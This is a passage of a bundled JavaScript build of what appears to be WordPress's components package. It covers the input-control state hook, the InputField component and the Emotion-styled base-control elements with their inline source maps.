26340 const [state, dispatch] = (0, import_element29.useReducer)(inputControlStateReducer(stateReducer), mergeInitialState(initialState));
26341 const createChangeEvent = (type) => (nextValue, event) => {
26342 dispatch({
26343 type,
26344 payload: {
26345 value: nextValue,
26346 event
26347 }
26348 });
26349 };
26350 const createKeyEvent = (type) => (event) => {
26351 dispatch({
26352 type,
26353 payload: {
26354 event
26355 }
26356 });
26357 };
26358 const createDragEvent = (type) => (payload) => {
26359 dispatch({
26360 type,
26361 payload
26362 });
26363 };
26364 const change = createChangeEvent(CHANGE);
26365 const invalidate = (error, event) => dispatch({
26366 type: INVALIDATE,
26367 payload: {
26368 error,
26369 event
26370 }
26371 });
26372 const reset = createChangeEvent(RESET);
26373 const commit = createChangeEvent(COMMIT);
26374 const dragStart = createDragEvent(DRAG_START);
26375 const drag2 = createDragEvent(DRAG);
26376 const dragEnd = createDragEvent(DRAG_END);
26377 const pressUp = createKeyEvent(PRESS_UP);
26378 const pressDown = createKeyEvent(PRESS_DOWN);
26379 const pressEnter = createKeyEvent(PRESS_ENTER);
26380 const currentStateRef = (0, import_element29.useRef)(state);
26381 const refPropsRef = (0, import_element29.useRef)({
26382 value: initialState.value,
26383 onChangeHandler
26384 });
26385 (0, import_element29.useLayoutEffect)(() => {
26386 currentStateRef.current = state;
26387 refPropsRef.current = {
26388 value: initialState.value,
26389 onChangeHandler
26390 };
26391 });
26392 (0, import_element29.useLayoutEffect)(() => {
26393 if (currentStateRef.current._event !== void 0 && state.value !== refPropsRef.current.value && !state.isDirty) {
26394 refPropsRef.current.onChangeHandler(state.value ?? "", {
26395 event: currentStateRef.current._event
26396 });
26397 }
26398 }, [state.value, state.isDirty]);
26399 (0, import_element29.useLayoutEffect)(() => {
26400 if (initialState.value !== currentStateRef.current.value && !currentStateRef.current.isDirty) {
26401 dispatch({
26402 type: CONTROL,
26403 payload: {
26404 value: initialState.value ?? ""
26405 }
26406 });
26407 }
26408 }, [initialState.value]);
26409 return {
26410 change,
26411 commit,
26412 dispatch,
26413 drag: drag2,
26414 dragEnd,
26415 dragStart,
26416 invalidate,
26417 pressDown,
26418 pressEnter,
26419 pressUp,
26420 reset,
26421 state
26422 };
26423 }
26424
26425 // packages/components/build-module/utils/with-ignore-ime-events.mjs
26426 function withIgnoreIMEEvents(handler) {
26427 return (event) => {
26428 const {
26429 isComposing
26430 } = "nativeEvent" in event ? event.nativeEvent : event;
26431 if (isComposing || // Workaround for Mac Safari where the final Enter/Backspace of an IME composition
26432 // is `isComposing=false`, even though it's technically still part of the composition.
26433 // These can only be detected by keyCode.
26434 event.keyCode === 229) {
26435 return;
26436 }
26437 handler(event);
26438 };
26439 }
26440
26441 // packages/components/build-module/input-control/input-field.mjs
26442 var import_jsx_runtime90 = __toESM(require_jsx_runtime(), 1);
26443 var noop4 = () => {
26444 };
26445 function InputField({
26446 disabled = false,
26447 dragDirection = "n",
26448 dragThreshold = 10,
26449 id: id3,
26450 isDragEnabled = false,
26451 isPressEnterToChange = false,
26452 onBlur = noop4,
26453 onChange = noop4,
26454 onDrag = noop4,
26455 onDragEnd = noop4,
26456 onDragStart = noop4,
26457 onKeyDown = noop4,
26458 onValidate = noop4,
26459 size: size3 = "default",
26460 stateReducer = (state) => state,
26461 value: valueProp,
26462 type,
26463 ...props
26464 }, ref) {
26465 const {
26466 // State.
26467 state,
26468 // Actions.
26469 change,
26470 commit,
26471 drag: drag2,
26472 dragEnd,
26473 dragStart,
26474 invalidate,
26475 pressDown,
26476 pressEnter,
26477 pressUp,
26478 reset
26479 } = useInputControlStateReducer(stateReducer, {
26480 isDragEnabled,
26481 value: valueProp,
26482 isPressEnterToChange
26483 }, onChange);
26484 const {
26485 value,
26486 isDragging: isDragging2,
26487 isDirty
26488 } = state;
26489 const wasDirtyOnBlur = (0, import_element30.useRef)(false);
26490 const dragCursor = useDragCursor(isDragging2, dragDirection);
26491 const handleOnBlur = (event) => {
26492 onBlur(event);
26493 if (isDirty || !event.target.validity.valid) {
26494 wasDirtyOnBlur.current = true;
26495 handleOnCommit(event);
26496 }
26497 };
26498 const handleOnChange = (event) => {
26499 const nextValue = event.target.value;
26500 change(nextValue, event);
26501 };
26502 const handleOnCommit = (event) => {
26503 const nextValue = event.currentTarget.value;
26504 try {
26505 onValidate(nextValue);
26506 commit(nextValue, event);
26507 } catch (err) {
26508 invalidate(err, event);
26509 }
26510 };
26511 const handleOnKeyDown = (event) => {
26512 const {
26513 key
26514 } = event;
26515 onKeyDown(event);
26516 switch (key) {
26517 case "ArrowUp":
26518 pressUp(event);
26519 break;
26520 case "ArrowDown":
26521 pressDown(event);
26522 break;
26523 case "Enter":
26524 pressEnter(event);
26525 if (isPressEnterToChange) {
26526 event.preventDefault();
26527 handleOnCommit(event);
26528 }
26529 break;
26530 case "Escape":
26531 if (isPressEnterToChange && isDirty) {
26532 event.preventDefault();
26533 reset(valueProp, event);
26534 }
26535 break;
26536 }
26537 };
26538 const dragGestureProps = useDrag((dragProps2) => {
26539 const {
26540 distance: distance2,
26541 dragging,
26542 event,
26543 target
26544 } = dragProps2;
26545 dragProps2.event = {
26546 ...dragProps2.event,
26547 target
26548 };
26549 if (!distance2) {
26550 return;
26551 }
26552 event.stopPropagation();
26553 if (!dragging) {
26554 onDragEnd(dragProps2);
26555 dragEnd(dragProps2);
26556 return;
26557 }
26558 onDrag(dragProps2);
26559 drag2(dragProps2);
26560 if (!isDragging2) {
26561 onDragStart(dragProps2);
26562 dragStart(dragProps2);
26563 }
26564 }, {
26565 axis: dragDirection === "e" || dragDirection === "w" ? "x" : "y",
26566 threshold: dragThreshold,
26567 enabled: isDragEnabled,
26568 pointer: {
26569 capture: false
26570 }
26571 });
26572 const dragProps = isDragEnabled ? dragGestureProps() : {};
26573 return /* @__PURE__ */ (0, import_jsx_runtime90.jsx)(Input, {
26574 ...props,
26575 ...dragProps,
26576 className: "components-input-control__input",
26577 disabled,
26578 dragCursor,
26579 isDragging: isDragging2,
26580 id: id3,
26581 onBlur: handleOnBlur,
26582 onChange: handleOnChange,
26583 onKeyDown: withIgnoreIMEEvents(handleOnKeyDown),
26584 ref,
26585 inputSize: size3,
26586 value: value ?? "",
26587 type
26588 });
26589 }
26590 var ForwardedComponent = (0, import_element30.forwardRef)(InputField);
26591 var input_field_default = ForwardedComponent;
26592
26593 // packages/components/build-module/base-control/index.mjs
26594 var import_element31 = __toESM(require_element(), 1);
26595
26596 // packages/components/build-module/base-control/styles/base-control-styles.mjs
26597 function _EMOTION_STRINGIFIED_CSS_ERROR__7() {
26598 return "You have tried to stringify object returned from `css` function. It isn't supposed to be used directly (e.g. as value of the `className` prop), but rather handed to emotion so it can handle it (e.g. as value of `css` prop).";
26599 }
26600 var Wrapper = /* @__PURE__ */ createStyled("div", false ? {
26601 target: "ej5x27r4"
26602 } : {
26603 target: "ej5x27r4",
26604 label: "Wrapper"
26605 })("font-family:", font("default.fontFamily"), ";font-size:", font("default.fontSize"), ";", boxSizingReset, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJhc2UtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBWWlDIiwiZmlsZSI6ImJhc2UtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCB7IGJhc2VMYWJlbFR5cG9ncmFwaHksIGJveFNpemluZ1Jlc2V0LCBmb250LCBDT0xPUlMgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuZXhwb3J0IGNvbnN0IFdyYXBwZXIgPSBzdHlsZWQuZGl2YFxuXHRmb250LWZhbWlseTogJHsgZm9udCggJ2RlZmF1bHQuZm9udEZhbWlseScgKSB9O1xuXHRmb250LXNpemU6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRTaXplJyApIH07XG5cblx0JHsgYm94U2l6aW5nUmVzZXQgfVxuYDtcblxuZXhwb3J0IGNvbnN0IFN0eWxlZEZpZWxkID0gc3R5bGVkLmRpdmBcblx0LmNvbXBvbmVudHMtcGFuZWxfX3JvdyAmIHtcblx0XHRtYXJnaW4tYm90dG9tOiBpbmhlcml0O1xuXHR9XG5gO1xuXG5jb25zdCBsYWJlbFN0eWxlcyA9IGNzc2Bcblx0JHsgYmFzZUxhYmVsVHlwb2dyYXBoeSB9O1xuXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRtYXJnaW4tYm90dG9tOiAkeyBzcGFjZSggMiApIH07XG5cdC8qKlxuXHQgKiBSZW1vdmVzIENocm9tZS9TYWZhcmkvRmlyZWZveCB1c2VyIGFnZW50IHN0eWxlc2hlZXQgcGFkZGluZyBmcm9tXG5cdCAqIFN0eWxlZExhYmVsIHdoZW4gaXQgaXMgcmVuZGVyZWQgYXMgYSBsZWdlbmQuXG5cdCAqL1xuXHRwYWRkaW5nOiAwO1xuYDtcblxuZXhwb3J0IGNvbnN0IFN0eWxlZExhYmVsID0gc3R5bGVkLmxhYmVsYFxuXHQkeyBsYWJlbFN0eWxlcyB9XG5gO1xuXG5leHBvcnQgY29uc3QgU3R5bGVkSGVscCA9IHN0eWxlZC5wYFxuXHRtYXJnaW4tdG9wOiAkeyBzcGFjZSggMiApIH07XG5cdG1hcmdpbi1ib3R0b206IDA7XG5cdGZvbnQtc2l6ZTogJHsgZm9udCggJ2hlbHBUZXh0LmZvbnRTaXplJyApIH07XG5cdGZvbnQtc3R5bGU6IG5vcm1hbDtcblx0Y29sb3I6ICR7IENPTE9SUy5ncmF5WyA3MDAgXSB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IFN0eWxlZFZpc3VhbExhYmVsID0gc3R5bGVkLnNwYW5gXG5cdCR7IGxhYmVsU3R5bGVzIH1cbmA7XG4iXX0= */"));
26606 var StyledField = /* @__PURE__ */ createStyled("div", false ? {
26607 target: "ej5x27r3"
26608 } : {
26609 target: "ej5x27r3",
26610 label: "StyledField"
26611 })(false ? {
26612 name: "1chyuqs",
26613 styles: ".components-panel__row &{margin-bottom:inherit;}"
26614 } : {
26615 name: "1chyuqs",
26616 styles: ".components-panel__row &{margin-bottom:inherit;}/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJhc2UtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBbUJxQyIsImZpbGUiOiJiYXNlLWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBib3hTaXppbmdSZXNldCwgZm9udCwgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi8uLi91dGlscy9zcGFjZSc7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0Zm9udC1mYW1pbHk6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRGYW1pbHknICkgfTtcblx0Zm9udC1zaXplOiAkeyBmb250KCAnZGVmYXVsdC5mb250U2l6ZScgKSB9O1xuXG5cdCR7IGJveFNpemluZ1Jlc2V0IH1cbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRGaWVsZCA9IHN0eWxlZC5kaXZgXG5cdC5jb21wb25lbnRzLXBhbmVsX19yb3cgJiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogaW5oZXJpdDtcblx0fVxuYDtcblxuY29uc3QgbGFiZWxTdHlsZXMgPSBjc3NgXG5cdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDIgKSB9O1xuXHQvKipcblx0ICogUmVtb3ZlcyBDaHJvbWUvU2FmYXJpL0ZpcmVmb3ggdXNlciBhZ2VudCBzdHlsZXNoZWV0IHBhZGRpbmcgZnJvbVxuXHQgKiBTdHlsZWRMYWJlbCB3aGVuIGl0IGlzIHJlbmRlcmVkIGFzIGEgbGVnZW5kLlxuXHQgKi9cblx0cGFkZGluZzogMDtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRMYWJlbCA9IHN0eWxlZC5sYWJlbGBcblx0JHsgbGFiZWxTdHlsZXMgfVxuYDtcblxuZXhwb3J0IGNvbnN0IFN0eWxlZEhlbHAgPSBzdHlsZWQucGBcblx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIDIgKSB9O1xuXHRtYXJnaW4tYm90dG9tOiAwO1xuXHRmb250LXNpemU6ICR7IGZvbnQoICdoZWxwVGV4dC5mb250U2l6ZScgKSB9O1xuXHRmb250LXN0eWxlOiBub3JtYWw7XG5cdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRWaXN1YWxMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHQkeyBsYWJlbFN0eWxlcyB9XG5gO1xuIl19 */",
26617 toString: _EMOTION_STRINGIFIED_CSS_ERROR__7
26618 });
26619 var labelStyles = /* @__PURE__ */ css(baseLabelTypography, ";display:block;margin-bottom:", space(2), ";padding:0;" + (false ? "" : ";label:labelStyles;"), false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJhc2UtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBeUJ1QiIsImZpbGUiOiJiYXNlLWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBib3hTaXppbmdSZXNldCwgZm9udCwgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi8uLi91dGlscy9zcGFjZSc7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0Zm9udC1mYW1pbHk6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRGYW1pbHknICkgfTtcblx0Zm9udC1zaXplOiAkeyBmb250KCAnZGVmYXVsdC5mb250U2l6ZScgKSB9O1xuXG5cdCR7IGJveFNpemluZ1Jlc2V0IH1cbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRGaWVsZCA9IHN0eWxlZC5kaXZgXG5cdC5jb21wb25lbnRzLXBhbmVsX19yb3cgJiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogaW5oZXJpdDtcblx0fVxuYDtcblxuY29uc3QgbGFiZWxTdHlsZXMgPSBjc3NgXG5cdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDIgKSB9O1xuXHQvKipcblx0ICogUmVtb3ZlcyBDaHJvbWUvU2FmYXJpL0ZpcmVmb3ggdXNlciBhZ2VudCBzdHlsZXNoZWV0IHBhZGRpbmcgZnJvbVxuXHQgKiBTdHlsZWRMYWJlbCB3aGVuIGl0IGlzIHJlbmRlcmVkIGFzIGEgbGVnZW5kLlxuXHQgKi9cblx0cGFkZGluZzogMDtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRMYWJlbCA9IHN0eWxlZC5sYWJlbGBcblx0JHsgbGFiZWxTdHlsZXMgfVxuYDtcblxuZXhwb3J0IGNvbnN0IFN0eWxlZEhlbHAgPSBzdHlsZWQucGBcblx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIDIgKSB9O1xuXHRtYXJnaW4tYm90dG9tOiAwO1xuXHRmb250LXNpemU6ICR7IGZvbnQoICdoZWxwVGV4dC5mb250U2l6ZScgKSB9O1xuXHRmb250LXN0eWxlOiBub3JtYWw7XG5cdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRWaXN1YWxMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHQkeyBsYWJlbFN0eWxlcyB9XG5gO1xuIl19 */");
26620 var StyledLabel = /* @__PURE__ */ createStyled("label", false ? {
26621 target: "ej5x27r2"
26622 } : {
26623 target: "ej5x27r2",
26624 label: "StyledLabel"
26625 })(labelStyles, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJhc2UtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBcUN1QyIsImZpbGUiOiJiYXNlLWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBib3hTaXppbmdSZXNldCwgZm9udCwgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi8uLi91dGlscy9zcGFjZSc7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0Zm9udC1mYW1pbHk6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRGYW1pbHknICkgfTtcblx0Zm9udC1zaXplOiAkeyBmb250KCAnZGVmYXVsdC5mb250U2l6ZScgKSB9O1xuXG5cdCR7IGJveFNpemluZ1Jlc2V0IH1cbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRGaWVsZCA9IHN0eWxlZC5kaXZgXG5cdC5jb21wb25lbnRzLXBhbmVsX19yb3cgJiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogaW5oZXJpdDtcblx0fVxuYDtcblxuY29uc3QgbGFiZWxTdHlsZXMgPSBjc3NgXG5cdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDIgKSB9O1xuXHQvKipcblx0ICogUmVtb3ZlcyBDaHJvbWUvU2FmYXJpL0ZpcmVmb3ggdXNlciBhZ2VudCBzdHlsZXNoZWV0IHBhZGRpbmcgZnJvbVxuXHQgKiBTdHlsZWRMYWJlbCB3aGVuIGl0IGlzIHJlbmRlcmVkIGFzIGEgbGVnZW5kLlxuXHQgKi9cblx0cGFkZGluZzogMDtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRMYWJlbCA9IHN0eWxlZC5sYWJlbGBcblx0JHsgbGFiZWxTdHlsZXMgfVxuYDtcblxuZXhwb3J0IGNvbnN0IFN0eWxlZEhlbHAgPSBzdHlsZWQucGBcblx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIDIgKSB9O1xuXHRtYXJnaW4tYm90dG9tOiAwO1xuXHRmb250LXNpemU6ICR7IGZvbnQoICdoZWxwVGV4dC5mb250U2l6ZScgKSB9O1xuXHRmb250LXN0eWxlOiBub3JtYWw7XG5cdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRWaXN1YWxMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHQkeyBsYWJlbFN0eWxlcyB9XG5gO1xuIl19 */"));
26626 var StyledHelp = /* @__PURE__ */ createStyled("p", false ? {
26627 target: "ej5x27r1"
26628 } : {
26629 target: "ej5x27r1",
26630 label: "StyledHelp"
26631 })("margin-top:", space(2), ";margin-bottom:0;font-size:", font("helpText.fontSize"), ";font-style:normal;color:", COLORS.gray[700], ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJhc2UtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBeUNrQyIsImZpbGUiOiJiYXNlLWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBib3hTaXppbmdSZXNldCwgZm9udCwgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi8uLi91dGlscy9zcGFjZSc7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0Zm9udC1mYW1pbHk6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRGYW1pbHknICkgfTtcblx0Zm9udC1zaXplOiAkeyBmb250KCAnZGVmYXVsdC5mb250U2l6ZScgKSB9O1xuXG5cdCR7IGJveFNpemluZ1Jlc2V0IH1cbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRGaWVsZCA9IHN0eWxlZC5kaXZgXG5cdC5jb21wb25lbnRzLXBhbmVsX19yb3cgJiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogaW5oZXJpdDtcblx0fVxuYDtcblxuY29uc3QgbGFiZWxTdHlsZXMgPSBjc3NgXG5cdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDIgKSB9O1xuXHQvKipcblx0ICogUmVtb3ZlcyBDaHJvbWUvU2FmYXJpL0ZpcmVmb3ggdXNlciBhZ2VudCBzdHlsZXNoZWV0IHBhZGRpbmcgZnJvbVxuXHQgKiBTdHlsZWRMYWJlbCB3aGVuIGl0IGlzIHJlbmRlcmVkIGFzIGEgbGVnZW5kLlxuXHQgKi9cblx0cGFkZGluZzogMDtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRMYWJlbCA9IHN0eWxlZC5sYWJlbGBcblx0JHsgbGFiZWxTdHlsZXMgfVxuYDtcblxuZXhwb3J0IGNvbnN0IFN0eWxlZEhlbHAgPSBzdHlsZWQucGBcblx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIDIgKSB9O1xuXHRtYXJnaW4tYm90dG9tOiAwO1xuXHRmb250LXNpemU6ICR7IGZvbnQoICdoZWxwVGV4dC5mb250U2l6ZScgKSB9O1xuXHRmb250LXN0eWxlOiBub3JtYWw7XG5cdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRWaXN1YWxMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHQkeyBsYWJlbFN0eWxlcyB9XG5gO1xuIl19 */"));
26632 var StyledVisualLabel = /* @__PURE__ */ createStyled("span", false ? {
26633 target: "ej5x27r0"
26634 } : {
26635 target: "ej5x27r0",
26636 label: "StyledVisualLabel"
26637 })(labelStyles, ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbImJhc2UtY29udHJvbC1zdHlsZXMudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBaUQ0QyIsImZpbGUiOiJiYXNlLWNvbnRyb2wtc3R5bGVzLnRzIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBFeHRlcm5hbCBkZXBlbmRlbmNpZXNcbiAqL1xuaW1wb3J0IHN0eWxlZCBmcm9tICdAZW1vdGlvbi9zdHlsZWQnO1xuaW1wb3J0IHsgY3NzIH0gZnJvbSAnQGVtb3Rpb24vcmVhY3QnO1xuXG4vKipcbiAqIEludGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBiYXNlTGFiZWxUeXBvZ3JhcGh5LCBib3hTaXppbmdSZXNldCwgZm9udCwgQ09MT1JTIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuaW1wb3J0IHsgc3BhY2UgfSBmcm9tICcuLi8uLi91dGlscy9zcGFjZSc7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkLmRpdmBcblx0Zm9udC1mYW1pbHk6ICR7IGZvbnQoICdkZWZhdWx0LmZvbnRGYW1pbHknICkgfTtcblx0Zm9udC1zaXplOiAkeyBmb250KCAnZGVmYXVsdC5mb250U2l6ZScgKSB9O1xuXG5cdCR7IGJveFNpemluZ1Jlc2V0IH1cbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRGaWVsZCA9IHN0eWxlZC5kaXZgXG5cdC5jb21wb25lbnRzLXBhbmVsX19yb3cgJiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogaW5oZXJpdDtcblx0fVxuYDtcblxuY29uc3QgbGFiZWxTdHlsZXMgPSBjc3NgXG5cdCR7IGJhc2VMYWJlbFR5cG9ncmFwaHkgfTtcblxuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luLWJvdHRvbTogJHsgc3BhY2UoIDIgKSB9O1xuXHQvKipcblx0ICogUmVtb3ZlcyBDaHJvbWUvU2FmYXJpL0ZpcmVmb3ggdXNlciBhZ2VudCBzdHlsZXNoZWV0IHBhZGRpbmcgZnJvbVxuXHQgKiBTdHlsZWRMYWJlbCB3aGVuIGl0IGlzIHJlbmRlcmVkIGFzIGEgbGVnZW5kLlxuXHQgKi9cblx0cGFkZGluZzogMDtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRMYWJlbCA9IHN0eWxlZC5sYWJlbGBcblx0JHsgbGFiZWxTdHlsZXMgfVxuYDtcblxuZXhwb3J0IGNvbnN0IFN0eWxlZEhlbHAgPSBzdHlsZWQucGBcblx0bWFyZ2luLXRvcDogJHsgc3BhY2UoIDIgKSB9O1xuXHRtYXJnaW4tYm90dG9tOiAwO1xuXHRmb250LXNpemU6ICR7IGZvbnQoICdoZWxwVGV4dC5mb250U2l6ZScgKSB9O1xuXHRmb250LXN0eWxlOiBub3JtYWw7XG5cdGNvbG9yOiAkeyBDT0xPUlMuZ3JheVsgNzAwIF0gfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBTdHlsZWRWaXN1YWxMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHQkeyBsYWJlbFN0eWxlcyB9XG5gO1xuIl19 */"));
26638
26639 // packages/components/build-module/base-control/index.mjs
26640 var import_jsx_runtime91 = __toESM(require_jsx_runtime(), 1);
26641
26642 // packages/components/build-module/base-control/hooks.mjs
26643 var import_compose4 = __toESM(require_compose(), 1);
26644 function useBaseControlProps(props) {
26645 const {
26646 help,
26647 id: preferredId,
26648 ...restProps
26649 } = props;
26650 const uniqueId3 = (0, import_compose4.useInstanceId)(base_control_default, "wp-components-base-control", preferredId);
26651 return {
26652 baseControlProps: {
26653 id: uniqueId3,
26654 help,
26655 ...restProps
26656 },
26657 controlProps: {
26658 id: uniqueId3,
26659 ...!!help ? {
26660 "aria-describedby": `${uniqueId3}__help`
26661 } : {}
26662 }
26663 };
26664 }
26665
26666 // packages/components/build-module/base-control/index.mjs
26667 var UnconnectedBaseControl = (props) => {
26668 const {
26669 id: id3,
26670 label,
26671 hideLabelFromVision = false,
26672 help,
26673 className: className2,
26674 children
26675 } = useContextSystem(props, "BaseControl");
26676 return /* @__PURE__ */ (0, import_jsx_runtime91.jsxs)(Wrapper, {
26677 className: className2,
26678 children: [/* @__PURE__ */ (0, import_jsx_runtime91.jsxs)(StyledField, {
26679 className: "components-base-control__field",
